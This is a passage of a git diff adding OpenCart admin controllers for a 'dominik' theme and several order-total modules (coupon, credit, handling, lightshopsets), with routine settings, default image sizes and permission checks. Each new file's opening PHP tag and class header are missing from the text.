+ $data['theme_default_image_cart_width'] = 47;
+ }
+
+ if (isset($this->request->post['theme_default_image_cart_height'])) {
+ $data['theme_default_image_cart_height'] = $this->request->post['theme_default_image_cart_height'];
+ } elseif (isset($setting_info['theme_default_image_cart_height'])) {
+ $data['theme_default_image_cart_height'] = $setting_info['theme_default_image_cart_height'];
+ } else {
+ $data['theme_default_image_cart_height'] = 47;
+ }
+
+ if (isset($this->request->post['theme_default_image_location_width'])) {
+ $data['theme_default_image_location_width'] = $this->request->post['theme_default_image_location_width'];
+ } elseif (isset($setting_info['theme_default_image_location_width'])) {
+ $data['theme_default_image_location_width'] = $setting_info['theme_default_image_location_width'];
+ } else {
+ $data['theme_default_image_location_width'] = 268;
+ }
+
+ if (isset($this->request->post['theme_default_image_location_height'])) {
+ $data['theme_default_image_location_height'] = $this->request->post['theme_default_image_location_height'];
+ } elseif (isset($setting_info['theme_default_image_location_height'])) {
+ $data['theme_default_image_location_height'] = $setting_info['theme_default_image_location_height'];
+ } else {
+ $data['theme_default_image_location_height'] = 50;
+ }
+
+ $data['header'] = $this->load->controller('common/header');
+ $data['column_left'] = $this->load->controller('common/column_left');
+ $data['footer'] = $this->load->controller('common/footer');
+
+ $this->response->setOutput($this->load->view('extension/theme/default', $data));
+ }
+
+ protected function validate() {
+ if (!$this->user->hasPermission('modify', 'extension/theme/default')) {
+ $this->error['warning'] = $this->language->get('error_permission');
+ }
+
+ if (!$this->request->post['theme_default_product_limit']) {
+ $this->error['product_limit'] = $this->language->get('error_limit');
+ }
+
+ if (!$this->request->post['theme_default_product_description_length']) {
+ $this->error['product_description_length'] = $this->language->get('error_limit');
+ }
+
+ if (!$this->request->post['theme_default_image_category_width'] || !$this->request->post['theme_default_image_category_height']) {
+ $this->error['image_category'] = $this->language->get('error_image_category');
+ }
+
+ if (!$this->request->post['theme_default_image_manufacturer_width'] || !$this->request->post['theme_default_image_manufacturer_height']) {
+ $this->error['image_manufacturer'] = $this->language->get('error_image_manufacturer');
+ }
+
+ if (!$this->request->post['theme_default_image_thumb_width'] || !$this->request->post['theme_default_image_thumb_height']) {
+ $this->error['image_thumb'] = $this->language->get('error_image_thumb');
+ }
+
+ if (!$this->request->post['theme_default_image_popup_width'] || !$this->request->post['theme_default_image_popup_height']) {
+ $this->error['image_popup'] = $this->language->get('error_image_popup');
+ }
+
+ if (!$this->request->post['theme_default_image_product_width'] || !$this->request->post['theme_default_image_product_height']) {
+ $this->error['image_product'] = $this->language->get('error_image_product');
+ }
+
+ if (!$this->request->post['theme_default_image_additional_width'] || !$this->request->post['theme_default_image_additional_height']) {
+ $this->error['image_additional'] = $this->language->get('error_image_additional');
+ }
+
+ if (!$this->request->post['theme_default_image_related_width'] || !$this->request->post['theme_default_image_related_height']) {
+ $this->error['image_related'] = $this->language->get('error_image_related');
+ }
+
+ if (!$this->request->post['theme_default_image_compare_width'] || !$this->request->post['theme_default_image_compare_height']) {
+ $this->error['image_compare'] = $this->language->get('error_image_compare');
+ }
+
+ if (!$this->request->post['theme_default_image_wishlist_width'] || !$this->request->post['theme_default_image_wishlist_height']) {
+ $this->error['image_wishlist'] = $this->language->get('error_image_wishlist');
+ }
+
+ if (!$this->request->post['theme_default_image_cart_width'] || !$this->request->post['theme_default_image_cart_height']) {
+ $this->error['image_cart'] = $this->language->get('error_image_cart');
+ }
+
+ if (!$this->request->post['theme_default_image_location_width'] || !$this->request->post['theme_default_image_location_height']) {
+ $this->error['image_location'] = $this->language->get('error_image_location');
+ }
+
+ return !$this->error;
+ }
+}
diff --git a/public/admin/controller/extension/theme/dominik.php b/public/admin/controller/extension/theme/dominik.php
new file mode 100644
index 0000000..1c8c2b2
--- /dev/null
+++ b/public/admin/controller/extension/theme/dominik.php
@@ -0,0 +1,414 @@
+load->language('extension/theme/dominik');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('setting/setting');
+
+ if (($this->request->server['REQUEST_METHOD'] == 'POST') && $this->validate()) {
+ $this->model_setting_setting->editSetting('theme_dominik', $this->request->post, $this->request->get['store_id']);
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $this->response->redirect($this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=theme', true));
+ }
+
+ if (isset($this->error['warning'])) {
+ $data['error_warning'] = $this->error['warning'];
+ } else {
+ $data['error_warning'] = '';
+ }
+
+ if (isset($this->error['product_limit'])) {
+ $data['error_product_limit'] = $this->error['product_limit'];
+ } else {
+ $data['error_product_limit'] = '';
+ }
+
+ if (isset($this->error['product_description_length'])) {
+ $data['error_product_description_length'] = $this->error['product_description_length'];
+ } else {
+ $data['error_product_description_length'] = '';
+ }
+
+ if (isset($this->error['image_category'])) {
+ $data['error_image_category'] = $this->error['image_category'];
+ } else {
+ $data['error_image_category'] = '';
+ }
+
+ if (isset($this->error['image_manufacturer'])) {
+ $data['error_image_manufacturer'] = $this->error['image_manufacturer'];
+ } else {
+ $data['error_image_manufacturer'] = '';
+ }
+
+ if (isset($this->error['image_thumb'])) {
+ $data['error_image_thumb'] = $this->error['image_thumb'];
+ } else {
+ $data['error_image_thumb'] = '';
+ }
+
+ if (isset($this->error['image_popup'])) {
+ $data['error_image_popup'] = $this->error['image_popup'];
+ } else {
+ $data['error_image_popup'] = '';
+ }
+
+ if (isset($this->error['image_product'])) {
+ $data['error_image_product'] = $this->error['image_product'];
+ } else {
+ $data['error_image_product'] = '';
+ }
+
+ if (isset($this->error['image_additional'])) {
+ $data['error_image_additional'] = $this->error['image_additional'];
+ } else {
+ $data['error_image_additional'] = '';
+ }
+
+ if (isset($this->error['image_related'])) {
+ $data['error_image_related'] = $this->error['image_related'];
+ } else {
+ $data['error_image_related'] = '';
+ }
+
+ if (isset($this->error['image_compare'])) {
+ $data['error_image_compare'] = $this->error['image_compare'];
+ } else {
+ $data['error_image_compare'] = '';
+ }
+
+ if (isset($this->error['image_wishlist'])) {
+ $data['error_image_wishlist'] = $this->error['image_wishlist'];
+ } else {
+ $data['error_image_wishlist'] = '';
+ }
+
+ if (isset($this->error['image_cart'])) {
+ $data['error_image_cart'] = $this->error['image_cart'];
+ } else {
+ $data['error_image_cart'] = '';
+ }
+
+ if (isset($this->error['image_location'])) {
+ $data['error_image_location'] = $this->error['image_location'];
+ } else {
+ $data['error_image_location'] = '';
+ }
+
+ $data['breadcrumbs'] = array();
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_home'),
+ 'href' => $this->url->link('common/dashboard', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_extension'),
+ 'href' => $this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=theme', true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('heading_title'),
+ 'href' => $this->url->link('extension/theme/dominik', 'user_token=' . $this->session->data['user_token'] . '&store_id=' . $this->request->get['store_id'], true)
+ );
+
+ $data['action'] = $this->url->link('extension/theme/dominik', 'user_token=' . $this->session->data['user_token'] . '&store_id=' . $this->request->get['store_id'], true);
+
+ $data['cancel'] = $this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=theme', true);
+
+ if (isset($this->request->get['store_id']) && ($this->request->server['REQUEST_METHOD'] != 'POST')) {
+ $setting_info = $this->model_setting_setting->getSetting('theme_dominik', $this->request->get['store_id']);
+ }
+
+ if (isset($this->request->post['theme_dominik_directory'])) {
+ $data['theme_dominik_directory'] = $this->request->post['theme_dominik_directory'];
+ } elseif (isset($setting_info['theme_dominik_directory'])) {
+ $data['theme_dominik_directory'] = $setting_info['theme_dominik_directory'];
+ } else {
+ $data['theme_dominik_directory'] = 'dominik';
+ }
+
+ $data['directories'] = array();
+
+ $directories = glob(DIR_CATALOG . 'view/theme/*', GLOB_ONLYDIR);
+
+ foreach ($directories as $directory) {
+ $data['directories'][] = basename($directory);
+ }
+
+ if (isset($this->request->post['theme_dominik_product_limit'])) {
+ $data['theme_dominik_product_limit'] = $this->request->post['theme_dominik_product_limit'];
+ } elseif (isset($setting_info['theme_dominik_product_limit'])) {
+ $data['theme_dominik_product_limit'] = $setting_info['theme_dominik_product_limit'];
+ } else {
+ $data['theme_dominik_product_limit'] = 15;
+ }
+
+ if (isset($this->request->post['theme_dominik_status'])) {
+ $data['theme_dominik_status'] = $this->request->post['theme_dominik_status'];
+ } elseif (isset($setting_info['theme_dominik_status'])) {
+ $data['theme_dominik_status'] = $setting_info['theme_dominik_status'];
+ } else {
+ $data['theme_dominik_status'] = '';
+ }
+
+ if (isset($this->request->post['theme_dominik_product_description_length'])) {
+ $data['theme_dominik_product_description_length'] = $this->request->post['theme_dominik_product_description_length'];
+ } elseif (isset($setting_info['theme_dominik_product_description_length'])) {
+ $data['theme_dominik_product_description_length'] = $setting_info['theme_dominik_product_description_length'];
+ } else {
+ $data['theme_dominik_product_description_length'] = 100;
+ }
+
+ if (isset($this->request->post['theme_dominik_image_category_width'])) {
+ $data['theme_dominik_image_category_width'] = $this->request->post['theme_dominik_image_category_width'];
+ } elseif (isset($setting_info['theme_dominik_image_category_width'])) {
+ $data['theme_dominik_image_category_width'] = $setting_info['theme_dominik_image_category_width'];
+ } else {
+ $data['theme_dominik_image_category_width'] = 80;
+ }
+
+ if (isset($this->request->post['theme_dominik_image_category_height'])) {
+ $data['theme_dominik_image_category_height'] = $this->request->post['theme_dominik_image_category_height'];
+ } elseif (isset($setting_info['theme_dominik_image_category_height'])) {
+ $data['theme_dominik_image_category_height'] = $setting_info['theme_dominik_image_category_height'];
+ } else {
+ $data['theme_dominik_image_category_height'] = 80;
+ }
+
+ if (isset($this->request->post['theme_dominik_image_manufacturer_width'])) {
+ $data['theme_dominik_image_manufacturer_width'] = $this->request->post['theme_dominik_image_manufacturer_width'];
+ } elseif (isset($setting_info['theme_dominik_image_manufacturer_width'])) {
+ $data['theme_dominik_image_manufacturer_width'] = $setting_info['theme_dominik_image_manufacturer_width'];
+ } else {
+ $data['theme_dominik_image_manufacturer_width'] = 80;
+ }
+
+ if (isset($this->request->post['theme_dominik_image_manufacturer_height'])) {
+ $data['theme_dominik_image_manufacturer_height'] = $this->request->post['theme_dominik_image_manufacturer_height'];
+ } elseif (isset($setting_info['theme_dominik_image_manufacturer_height'])) {
+ $data['theme_dominik_image_manufacturer_height'] = $setting_info['theme_dominik_image_manufacturer_height'];
+ } else {
+ $data['theme_dominik_image_manufacturer_height'] = 80;
+ }
+
+ if (isset($this->request->post['theme_dominik_image_thumb_width'])) {
+ $data['theme_dominik_image_thumb_width'] = $this->request->post['theme_dominik_image_thumb_width'];
+ } elseif (isset($setting_info['theme_dominik_image_thumb_width'])) {
+ $data['theme_dominik_image_thumb_width'] = $setting_info['theme_dominik_image_thumb_width'];
+ } else {
+ $data['theme_dominik_image_thumb_width'] = 228;
+ }
+
+ if (isset($this->request->post['theme_dominik_image_thumb_height'])) {
+ $data['theme_dominik_image_thumb_height'] = $this->request->post['theme_dominik_image_thumb_height'];
+ } elseif (isset($setting_info['theme_dominik_image_thumb_height'])) {
+ $data['theme_dominik_image_thumb_height'] = $setting_info['theme_dominik_image_thumb_height'];
+ } else {
+ $data['theme_dominik_image_thumb_height'] = 228;
+ }
+
+ if (isset($this->request->post['theme_dominik_image_popup_width'])) {
+ $data['theme_dominik_image_popup_width'] = $this->request->post['theme_dominik_image_popup_width'];
+ } elseif (isset($setting_info['theme_dominik_image_popup_width'])) {
+ $data['theme_dominik_image_popup_width'] = $setting_info['theme_dominik_image_popup_width'];
+ } else {
+ $data['theme_dominik_image_popup_width'] = 500;
+ }
+
+ if (isset($this->request->post['theme_dominik_image_popup_height'])) {
+ $data['theme_dominik_image_popup_height'] = $this->request->post['theme_dominik_image_popup_height'];
+ } elseif (isset($setting_info['theme_dominik_image_popup_height'])) {
+ $data['theme_dominik_image_popup_height'] = $setting_info['theme_dominik_image_popup_height'];
+ } else {
+ $data['theme_dominik_image_popup_height'] = 500;
+ }
+
+ if (isset($this->request->post['theme_dominik_image_product_width'])) {
+ $data['theme_dominik_image_product_width'] = $this->request->post['theme_dominik_image_product_width'];
+ } elseif (isset($setting_info['theme_dominik_image_product_width'])) {
+ $data['theme_dominik_image_product_width'] = $setting_info['theme_dominik_image_product_width'];
+ } else {
+ $data['theme_dominik_image_product_width'] = 228;
+ }
+
+ if (isset($this->request->post['theme_dominik_image_product_height'])) {
+ $data['theme_dominik_image_product_height'] = $this->request->post['theme_dominik_image_product_height'];
+ } elseif (isset($setting_info['theme_dominik_image_product_height'])) {
+ $data['theme_dominik_image_product_height'] = $setting_info['theme_dominik_image_product_height'];
+ } else {
+ $data['theme_dominik_image_product_height'] = 228;
+ }
+
+ if (isset($this->request->post['theme_dominik_image_additional_width'])) {
+ $data['theme_dominik_image_additional_width'] = $this->request->post['theme_dominik_image_additional_width'];
+ } elseif (isset($setting_info['theme_dominik_image_additional_width'])) {
+ $data['theme_dominik_image_additional_width'] = $setting_info['theme_dominik_image_additional_width'];
+ } else {
+ $data['theme_dominik_image_additional_width'] = 74;
+ }
+
+ if (isset($this->request->post['theme_dominik_image_additional_height'])) {
+ $data['theme_dominik_image_additional_height'] = $this->request->post['theme_dominik_image_additional_height'];
+ } elseif (isset($setting_info['theme_dominik_image_additional_height'])) {
+ $data['theme_dominik_image_additional_height'] = $setting_info['theme_dominik_image_additional_height'];
+ } else {
+ $data['theme_dominik_image_additional_height'] = 74;
+ }
+
+ if (isset($this->request->post['theme_dominik_image_related_width'])) {
+ $data['theme_dominik_image_related_width'] = $this->request->post['theme_dominik_image_related_width'];
+ } elseif (isset($setting_info['theme_dominik_image_related_width'])) {
+ $data['theme_dominik_image_related_width'] = $setting_info['theme_dominik_image_related_width'];
+ } else {
+ $data['theme_dominik_image_related_width'] = 80;
+ }
+
+ if (isset($this->request->post['theme_dominik_image_related_height'])) {
+ $data['theme_dominik_image_related_height'] = $this->request->post['theme_dominik_image_related_height'];
+ } elseif (isset($setting_info['theme_dominik_image_related_height'])) {
+ $data['theme_dominik_image_related_height'] = $setting_info['theme_dominik_image_related_height'];
+ } else {
+ $data['theme_dominik_image_related_height'] = 80;
+ }
+
+ if (isset($this->request->post['theme_dominik_image_compare_width'])) {
+ $data['theme_dominik_image_compare_width'] = $this->request->post['theme_dominik_image_compare_width'];
+ } elseif (isset($setting_info['theme_dominik_image_compare_width'])) {
+ $data['theme_dominik_image_compare_width'] = $setting_info['theme_dominik_image_compare_width'];
+ } else {
+ $data['theme_dominik_image_compare_width'] = 90;
+ }
+
+ if (isset($this->request->post['theme_dominik_image_compare_height'])) {
+ $data['theme_dominik_image_compare_height'] = $this->request->post['theme_dominik_image_compare_height'];
+ } elseif (isset($setting_info['theme_dominik_image_compare_height'])) {
+ $data['theme_dominik_image_compare_height'] = $setting_info['theme_dominik_image_compare_height'];
+ } else {
+ $data['theme_dominik_image_compare_height'] = 90;
+ }
+
+ if (isset($this->request->post['theme_dominik_image_wishlist_width'])) {
+ $data['theme_dominik_image_wishlist_width'] = $this->request->post['theme_dominik_image_wishlist_width'];
+ } elseif (isset($setting_info['theme_dominik_image_wishlist_width'])) {
+ $data['theme_dominik_image_wishlist_width'] = $setting_info['theme_dominik_image_wishlist_width'];
+ } else {
+ $data['theme_dominik_image_wishlist_width'] = 47;
+ }
+
+ if (isset($this->request->post['theme_dominik_image_wishlist_height'])) {
+ $data['theme_dominik_image_wishlist_height'] = $this->request->post['theme_dominik_image_wishlist_height'];
+ } elseif (isset($setting_info['theme_dominik_image_wishlist_height'])) {
+ $data['theme_dominik_image_wishlist_height'] = $setting_info['theme_dominik_image_wishlist_height'];
+ } else {
+ $data['theme_dominik_image_wishlist_height'] = 47;
+ }
+
+ if (isset($this->request->post['theme_dominik_image_cart_width'])) {
+ $data['theme_dominik_image_cart_width'] = $this->request->post['theme_dominik_image_cart_width'];
+ } elseif (isset($setting_info['theme_dominik_image_cart_width'])) {
+ $data['theme_dominik_image_cart_width'] = $setting_info['theme_dominik_image_cart_width'];
+ } else {
+ $data['theme_dominik_image_cart_width'] = 47;
+ }
+
+ if (isset($this->request->post['theme_dominik_image_cart_height'])) {
+ $data['theme_dominik_image_cart_height'] = $this->request->post['theme_dominik_image_cart_height'];
+ } elseif (isset($setting_info['theme_dominik_image_cart_height'])) {
+ $data['theme_dominik_image_cart_height'] = $setting_info['theme_dominik_image_cart_height'];
+ } else {
+ $data['theme_dominik_image_cart_height'] = 47;
+ }
+
+ if (isset($this->request->post['theme_dominik_image_location_width'])) {
+ $data['theme_dominik_image_location_width'] = $this->request->post['theme_dominik_image_location_width'];
+ } elseif (isset($setting_info['theme_dominik_image_location_width'])) {
+ $data['theme_dominik_image_location_width'] = $setting_info['theme_dominik_image_location_width'];
+ } else {
+ $data['theme_dominik_image_location_width'] = 268;
+ }
+
+ if (isset($this->request->post['theme_dominik_image_location_height'])) {
+ $data['theme_dominik_image_location_height'] = $this->request->post['theme_dominik_image_location_height'];
+ } elseif (isset($setting_info['theme_dominik_image_location_height'])) {
+ $data['theme_dominik_image_location_height'] = $setting_info['theme_dominik_image_location_height'];
+ } else {
+ $data['theme_dominik_image_location_height'] = 50;
+ }
+
+ $data['header'] = $this->load->controller('common/header');
+ $data['column_left'] = $this->load->controller('common/column_left');
+ $data['footer'] = $this->load->controller('common/footer');
+
+ $this->response->setOutput($this->load->view('extension/theme/dominik', $data));
+ }
+
+ protected function validate() {
+ if (!$this->user->hasPermission('modify', 'extension/theme/dominik')) {
+ $this->error['warning'] = $this->language->get('error_permission');
+ }
+
+ if (!$this->request->post['theme_dominik_product_limit']) {
+ $this->error['product_limit'] = $this->language->get('error_limit');
+ }
+
+ if (!$this->request->post['theme_dominik_product_description_length']) {
+ $this->error['product_description_length'] = $this->language->get('error_limit');
+ }
+
+ if (!$this->request->post['theme_dominik_image_category_width'] || !$this->request->post['theme_dominik_image_category_height']) {
+ $this->error['image_category'] = $this->language->get('error_image_category');
+ }
+
+ if (!$this->request->post['theme_dominik_image_manufacturer_width'] || !$this->request->post['theme_dominik_image_manufacturer_height']) {
+ $this->error['image_manufacturer'] = $this->language->get('error_image_manufacturer');
+ }
+
+ if (!$this->request->post['theme_dominik_image_thumb_width'] || !$this->request->post['theme_dominik_image_thumb_height']) {
+ $this->error['image_thumb'] = $this->language->get('error_image_thumb');
+ }
+
+ if (!$this->request->post['theme_dominik_image_popup_width'] || !$this->request->post['theme_dominik_image_popup_height']) {
+ $this->error['image_popup'] = $this->language->get('error_image_popup');
+ }
+
+ if (!$this->request->post['theme_dominik_image_product_width'] || !$this->request->post['theme_dominik_image_product_height']) {
+ $this->error['image_product'] = $this->language->get('error_image_product');
+ }
+
+ if (!$this->request->post['theme_dominik_image_additional_width'] || !$this->request->post['theme_dominik_image_additional_height']) {
+ $this->error['image_additional'] = $this->language->get('error_image_additional');
+ }
+
+ if (!$this->request->post['theme_dominik_image_related_width'] || !$this->request->post['theme_dominik_image_related_height']) {
+ $this->error['image_related'] = $this->language->get('error_image_related');
+ }
+
+ if (!$this->request->post['theme_dominik_image_compare_width'] || !$this->request->post['theme_dominik_image_compare_height']) {
+ $this->error['image_compare'] = $this->language->get('error_image_compare');
+ }
+
+ if (!$this->request->post['theme_dominik_image_wishlist_width'] || !$this->request->post['theme_dominik_image_wishlist_height']) {
+ $this->error['image_wishlist'] = $this->language->get('error_image_wishlist');
+ }
+
+ if (!$this->request->post['theme_dominik_image_cart_width'] || !$this->request->post['theme_dominik_image_cart_height']) {
+ $this->error['image_cart'] = $this->language->get('error_image_cart');
+ }
+
+ if (!$this->request->post['theme_dominik_image_location_width'] || !$this->request->post['theme_dominik_image_location_height']) {
+ $this->error['image_location'] = $this->language->get('error_image_location');
+ }
+
+ return !$this->error;
+ }
+}
diff --git a/public/admin/controller/extension/total/coupon.php b/public/admin/controller/extension/total/coupon.php
new file mode 100644
index 0000000..397e6cc
--- /dev/null
+++ b/public/admin/controller/extension/total/coupon.php
@@ -0,0 +1,73 @@
+load->language('extension/total/coupon');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('setting/setting');
+
+ if (($this->request->server['REQUEST_METHOD'] == 'POST') && $this->validate()) {
+ $this->model_setting_setting->editSetting('total_coupon', $this->request->post);
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $this->response->redirect($this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=total', true));
+ }
+
+ if (isset($this->error['warning'])) {
+ $data['error_warning'] = $this->error['warning'];
+ } else {
+ $data['error_warning'] = '';
+ }
+
+ $data['breadcrumbs'] = array();
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_home'),
+ 'href' => $this->url->link('common/dashboard', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_extension'),
+ 'href' => $this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=total', true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('heading_title'),
+ 'href' => $this->url->link('extension/total/coupon', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['action'] = $this->url->link('extension/total/coupon', 'user_token=' . $this->session->data['user_token'], true);
+
+ $data['cancel'] = $this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=total', true);
+
+ if (isset($this->request->post['total_coupon_status'])) {
+ $data['total_coupon_status'] = $this->request->post['total_coupon_status'];
+ } else {
+ $data['total_coupon_status'] = $this->config->get('total_coupon_status');
+ }
+
+ if (isset($this->request->post['total_coupon_sort_order'])) {
+ $data['total_coupon_sort_order'] = $this->request->post['total_coupon_sort_order'];
+ } else {
+ $data['total_coupon_sort_order'] = $this->config->get('total_coupon_sort_order');
+ }
+
+ $data['header'] = $this->load->controller('common/header');
+ $data['column_left'] = $this->load->controller('common/column_left');
+ $data['footer'] = $this->load->controller('common/footer');
+
+ $this->response->setOutput($this->load->view('extension/total/coupon', $data));
+ }
+
+ protected function validate() {
+ if (!$this->user->hasPermission('modify', 'extension/total/coupon')) {
+ $this->error['warning'] = $this->language->get('error_permission');
+ }
+
+ return !$this->error;
+ }
+}
\ No newline at end of file
diff --git a/public/admin/controller/extension/total/credit.php b/public/admin/controller/extension/total/credit.php
new file mode 100644
index 0000000..930d3cd
--- /dev/null
+++ b/public/admin/controller/extension/total/credit.php
@@ -0,0 +1,73 @@
+load->language('extension/total/credit');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('setting/setting');
+
+ if (($this->request->server['REQUEST_METHOD'] == 'POST') && $this->validate()) {
+ $this->model_setting_setting->editSetting('total_credit', $this->request->post);
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $this->response->redirect($this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=total', true));
+ }
+
+ if (isset($this->error['warning'])) {
+ $data['error_warning'] = $this->error['warning'];
+ } else {
+ $data['error_warning'] = '';
+ }
+
+ $data['breadcrumbs'] = array();
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_home'),
+ 'href' => $this->url->link('common/dashboard', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_extension'),
+ 'href' => $this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=total', true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('heading_title'),
+ 'href' => $this->url->link('extension/total/credit', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['action'] = $this->url->link('extension/total/credit', 'user_token=' . $this->session->data['user_token'], true);
+
+ $data['cancel'] = $this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=total', true);
+
+ if (isset($this->request->post['total_credit_status'])) {
+ $data['total_credit_status'] = $this->request->post['total_credit_status'];
+ } else {
+ $data['total_credit_status'] = $this->config->get('total_credit_status');
+ }
+
+ if (isset($this->request->post['total_credit_sort_order'])) {
+ $data['total_credit_sort_order'] = $this->request->post['total_credit_sort_order'];
+ } else {
+ $data['total_credit_sort_order'] = $this->config->get('total_credit_sort_order');
+ }
+
+ $data['header'] = $this->load->controller('common/header');
+ $data['column_left'] = $this->load->controller('common/column_left');
+ $data['footer'] = $this->load->controller('common/footer');
+
+ $this->response->setOutput($this->load->view('extension/total/credit', $data));
+ }
+
+ protected function validate() {
+ if (!$this->user->hasPermission('modify', 'extension/total/credit')) {
+ $this->error['warning'] = $this->language->get('error_permission');
+ }
+
+ return !$this->error;
+ }
+}
\ No newline at end of file
diff --git a/public/admin/controller/extension/total/handling.php b/public/admin/controller/extension/total/handling.php
new file mode 100644
index 0000000..123906c
--- /dev/null
+++ b/public/admin/controller/extension/total/handling.php
@@ -0,0 +1,95 @@
+load->language('extension/total/handling');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('setting/setting');
+
+ if (($this->request->server['REQUEST_METHOD'] == 'POST') && $this->validate()) {
+ $this->model_setting_setting->editSetting('total_handling', $this->request->post);
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $this->response->redirect($this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=total', true));
+ }
+
+ if (isset($this->error['warning'])) {
+ $data['error_warning'] = $this->error['warning'];
+ } else {
+ $data['error_warning'] = '';
+ }
+
+ $data['breadcrumbs'] = array();
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_home'),
+ 'href' => $this->url->link('common/dashboard', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_extension'),
+ 'href' => $this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=total', true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('heading_title'),
+ 'href' => $this->url->link('extension/total/handling', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['action'] = $this->url->link('extension/total/handling', 'user_token=' . $this->session->data['user_token'], true);
+
+ $data['cancel'] = $this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=total', true);
+
+ if (isset($this->request->post['total_handling_total'])) {
+ $data['total_handling_total'] = $this->request->post['total_handling_total'];
+ } else {
+ $data['total_handling_total'] = $this->config->get('total_handling_total');
+ }
+
+ if (isset($this->request->post['total_handling_fee'])) {
+ $data['total_handling_fee'] = $this->request->post['total_handling_fee'];
+ } else {
+ $data['total_handling_fee'] = $this->config->get('total_handling_fee');
+ }
+
+ if (isset($this->request->post['total_handling_tax_class_id'])) {
+ $data['total_handling_tax_class_id'] = $this->request->post['total_handling_tax_class_id'];
+ } else {
+ $data['total_handling_tax_class_id'] = $this->config->get('total_handling_tax_class_id');
+ }
+
+ $this->load->model('localisation/tax_class');
+
+ $data['tax_classes'] = $this->model_localisation_tax_class->getTaxClasses();
+
+ if (isset($this->request->post['total_handling_status'])) {
+ $data['total_handling_status'] = $this->request->post['total_handling_status'];
+ } else {
+ $data['total_handling_status'] = $this->config->get('total_handling_status');
+ }
+
+ if (isset($this->request->post['total_handling_sort_order'])) {
+ $data['total_handling_sort_order'] = $this->request->post['total_handling_sort_order'];
+ } else {
+ $data['total_handling_sort_order'] = $this->config->get('total_handling_sort_order');
+ }
+
+ $data['header'] = $this->load->controller('common/header');
+ $data['column_left'] = $this->load->controller('common/column_left');
+ $data['footer'] = $this->load->controller('common/footer');
+
+ $this->response->setOutput($this->load->view('extension/total/handling', $data));
+ }
+
+ protected function validate() {
+ if (!$this->user->hasPermission('modify', 'extension/total/handling')) {
+ $this->error['warning'] = $this->language->get('error_permission');
+ }
+
+ return !$this->error;
+ }
+}
\ No newline at end of file
diff --git a/public/admin/controller/extension/total/lightshopsets.php b/public/admin/controller/extension/total/lightshopsets.php
new file mode 100644
index 0000000..2a76906
--- /dev/null
+++ b/public/admin/controller/extension/total/lightshopsets.php
@@ -0,0 +1,86 @@
+load->language('extension/total/lightshopsets');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('setting/setting');
+
+ if (($this->request->server['REQUEST_METHOD'] == 'POST') && $this->validate()) {
+ $this->model_setting_setting->editSetting('total_lightshopsets', $this->request->post);
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $this->response->redirect($this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=total', true));
+ }
+
+ $data['heading_title'] = $this->language->get('heading_title');
+
+ $data['text_edit'] = $this->language->get('text_edit');
+ $data['text_enabled'] = $this->language->get('text_enabled');
+ $data['text_disabled'] = $this->language->get('text_disabled');
+
+ $data['entry_status'] = $this->language->get('entry_status');
+ $data['entry_sort_order'] = $this->language->get('entry_sort_order');
+
+ $data['button_save'] = $this->language->get('button_save');
+ $data['button_cancel'] = $this->language->get('button_cancel');
+
+ if (isset($this->error['warning'])) {
+ $data['error_warning'] = $this->error['warning'];
+ } else {
+ $data['error_warning'] = '';
+ }
+
+ $data['breadcrumbs'] = array();
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_home'),
+ 'href' => $this->url->link('common/dashboard', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_extension'),
+ 'href' => $this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=total', true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('heading_title'),
+ 'href' => $this->url->link('extension/total/lightshopsets', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
